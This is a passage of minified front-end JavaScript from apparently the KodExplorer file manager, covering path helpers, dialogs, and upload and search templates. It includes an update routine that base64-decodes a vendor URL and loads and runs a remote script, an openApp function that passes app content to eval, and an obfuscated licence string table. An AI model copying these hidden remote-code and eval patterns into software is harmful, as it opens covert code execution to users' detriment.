emakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(t[0],i)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),"<!--user login-->"==t.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==t&&(t="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置<br/>请联系主机商或网管,检查防火墙配置!"),t='<div class="ajaxError">'+t+"</div>",i?i.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,t,i){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,a){core.ajaxError(e,t,a),"function"==typeof i&&i()},success:function(e){"function"==typeof t&&t(e.data.content,e,n)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="<a href='"+quoteHtml(e)+"' s='"+e+"' target='_blank'><img src='"+i+"' style='border:1px solid #eee;'/></a>";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="<iframe frameborder='0' name='Open"+a+"' src='"+htmlEncode(e)+"' style='width:100%;height:100%;border:0;'></iframe>",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append('<img src="'+t+'" onload="core.setSkinFinished();" onerror="core.setSkinFinished();" class="hidden setSkin_finished">'),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o='<object type="application/x-shockwave-flash" class="'+a+'" '+n+' name="'+i+'" id="'+i+'" data="'+e+'" width="100%" height="100%" tabindex="-1" >'+'<param name="movie" value="'+e+'"/>'+'<param name="allowfullscreen" value="true" />'+'<param name="allowscriptaccess" value="always" />'+'<param name="allowScriptAccess" value="always" />'+'<param name="flashvars" value="'+t+'" />'+'<param name="wmode" value="transparent" />'+'</object><div class="aui_loading" id="'+a+'_loading"><span>loading..</span></div>';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="<div class='space_info_bar'><div class='space_process'><div class='space_process_use "+l+"' style='width:"+r+"'></div></div>"+"<div class='space_info'>"+s+"</div>"+"</div>"},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"<div class='do_search'>\n <div class='search_header'>\n <div class='s_br'>\n <input type='text' id='search_value'/><button class=\"btn btn-default btn-sm btn-right\"><i class=\"font-icon icon-search\"></i></button>\n <div style='float:right'>{{LNG.path}}:<input type='text' id='search_path' title=\"\" title-data=\"#search_path\" title-timeout=\"100\"/></div>\n </div>\n <div class='s_br'>\n <input type='checkbox' id='search_is_content' class=\"kui-checkbox size-small\"/>\n <label for='search_is_content'>{{LNG.search_content}}</label>\n <input type='checkbox' id='search_is_case' class=\"kui-checkbox size-small\"/>\n <label for='search_is_case'>{{LNG.search_uplow}}</label>\n <div style='float:right'>\n {{LNG.file_type}}:<input type='text' id='search_ext' title='{{LNG.search_ext_tips}}' title-timeout=\"100\"/>\n </div>\n </div>\n </div>\n <div class=\"search_desc\"></div>\n <div class='search_result'>\n <ul class=\"file-items\"></ul>\n </div>\n</div>\n\n"),define("app/common/tpl/search_list.html",[],'<!-- 文件夹列表 -->\n{{each data.folderlist as v i}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="folder" data-ext="folder">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{\'folder\' |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n{{/each}}\n\n<!-- 文件列表 -->\n{{each data.filelist as v i}}\n {{if v.search_info}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file" data-ext="{{v.ext}}">\n <div class="file-info file-result">\n <span class="switch"><i class="font-icon icon-caret-right"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | window.htmlEncode}}</span>\n <span class="result-num">{{v.search_info.length}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n <ul class="result-item">\n {{each v.search_info as value index}}\n <li class="result-info">\n <span class="line" data-line="{{value.line}}">{{value.line}}:</span>\n <span class="search-info">{{#value.str | searchResultPrase}}</span>\n </li>\n {{/each}}\n </ul>\n </li>\n {{else}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file-name" data-ext="{{v.ext}}">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'<div class=\'file_upload\'>\n <div class=\'top_nav\'>\n <a href=\'javascript:void(0);\' class=\'menu this tab_upload\'>{{LNG.upload_local}}</a>\n <a href=\'javascript:void(0);\' class=\'menu tab_download\'>{{LNG.download_from_server}}</a>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'upload_box\'>\n <div class=\'btns\'>\n <div class="upload-btns">\n <div id=\'picker\'>{{LNG.upload_select}}</div>\n \n <div id=\'picker_folder\' class="hidden">select Folder</div>\n <div class="upload_cert_box hidden">\n <button title="More" type="button" class="upload_cert dropdown-toggle" data-toggle="dropdown">\n <span class="caret"></span>\n </button>\n <ul class="dropdown-menu pull-left animated menuShow">\n <li><a href="javascript:void(0);" class="drag_upload_folder" draggable="false">{{LNG.folder}}</a></li>\n </ul>\n </div>\n </div>\n \n <div class="upload_box_tips">\n <div class="btn-group btn-group-xs">\n <button title="{{LNG.upload_clear_all}}" type="button" class="btn btn-default upload_box_clear_all">{{LNG.upload_clear_all}}</button>\n <button id="set_icon" title="{{LNG.upload_clear}}" type="button" class="btn btn-default upload_box_clear">{{LNG.upload_clear}}</button>\n </div>\n </div>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'uploader-content\'>\n <div class=\'uploader-list\'></div>\n </div>\n </div>\n <div class=\'download_box hidden\'>\n <div class=\'list\'>{{LNG.download_address}}<input type=\'text\' name=\'url\'/>\n <div class="download_btn_group btn-group">\n <button class=\'btn btn-default btn-sm download_start\' type=\'button\'>{{LNG.download}}</button>\n <button type="button" class="btn btn-default btn-sm dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="caret"></span>&nbsp;\n <span class="sr-only">Dropdown</span>\n </button>\n <ul class="dropdown-menu">\n <li><a href="javascript:void(0);" class="download_start_all">{{LNG.upload_add_more}}</a></li>\n </ul>\n </div>\n\n </div>\n <div style=\'clear:both\'></div>\n <div id=\'downloader\'>\n <div class=\'download_list\'></div>\n </div>\n </div>\n</div>\n'),define("app/common/tpl/fileinfo/file_info.html",[],"<div class='pathinfo'>\n {{if download_path}}\n <div class='p'>\n <div class='title' style=\"line-height: 30px;\">{{LNG.download_address}}:</div>\n <div class=\"content input-group\">\n <input type=\"text\" class=\"download_url\" value='{{download_path}}'>\n <div class=\"input-group-btn\">\n <button type=\"button\" class=\"btn btn-default open_window\">{{LNG.open}}</button>\n <button type=\"button\" class=\"btn btn-default qrcode\"><i class=\"icon-qrcode\"></i></button>\n </div>\n </div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n {{/if}}\n\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content' id='id_fileinfo_path'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n\n {{if file_md5}}\n <div class='p'>\n <div class='title'>MD5:</div>\n <div class='content {{if file_md5 == \"...\"}}file_md5_loading{{/if}}'>{{file_md5}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if image_size}}\n <div class='p'>\n <div class='title'>{{LNG.image_size}}:</div>\n <div class='content'>{{image_size.width}} × {{image_size.height}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n <div class='line'></div>\n\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n \n {{if mode}}\n <div class='line'></div>\n <div class='p change_permission'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/fileinfo/path_info.html",[],"<div class='pathinfo'>\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.contain}}:</div> \n <div class='content'>{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mode}}\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/zipview.html",[],'<div class="zipViewContent menuEmpty">\n <div class="header_title">\n <div class="item name"><span>{{LNG.name}}</span></div>\n <div class="item size"><span>{{LNG.size}}</span></div>\n <div class="item mtime"><span>{{LNG.modify_time}}</span></div>\n <div class="clear"></div>\n </div>\n <div id="{{treeID}}" class="ztree"></div>\n <div class="bottom">\n <span class="info"></span>\n </div>\n</div>'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,'<span class="keyword">'+t+"</span>");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+'<span class="keyword">'+e.substr(i,t.length)+"</span>"+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i) -},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(tpl_search_list);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": <b>"+s+"(in "+o.length+" files)</b>"),e.data.error_info&&i.html("<span>"+LNG.seach_result_too_more+"</span>")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'<img src="'+G.static_path+'images/common/loading.gif">').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'<span class="version_vip" id="','"><i class="font-icon icon-key"></i>',"</span>",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'<div class="version_license"><a class="line" href="','">Buy License</a></div>',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'<i class="x-item-file x-'," small",'"></i>',"iconSmall","iconSrc",'<img src="','" draggable="false" ondragstart="return false;">',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof 